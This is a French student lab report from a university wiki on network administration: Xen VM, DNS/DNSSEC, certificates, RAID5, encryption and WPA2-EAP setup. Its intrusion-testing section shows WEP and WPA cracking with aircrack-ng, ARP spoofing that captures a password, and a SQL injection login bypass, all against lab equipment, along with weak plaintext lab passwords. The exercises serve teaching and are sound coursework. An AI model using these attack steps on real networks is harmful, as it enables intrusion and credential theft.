Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA2a5 2020/2021 G7

2021-01-11T12:09:52Z

Lchenu : /* Intrusion sur un serveur d’application Web */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|500px|thumb|left|Interface eth0]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnels.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid2 storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Et je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Je considère la sécurisation de mes données de VM atteinte.

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expirer. Quand replace un nouveau, il replace les fichiers dans celui là. Il fera cette même action à chaque fois.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne l'espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

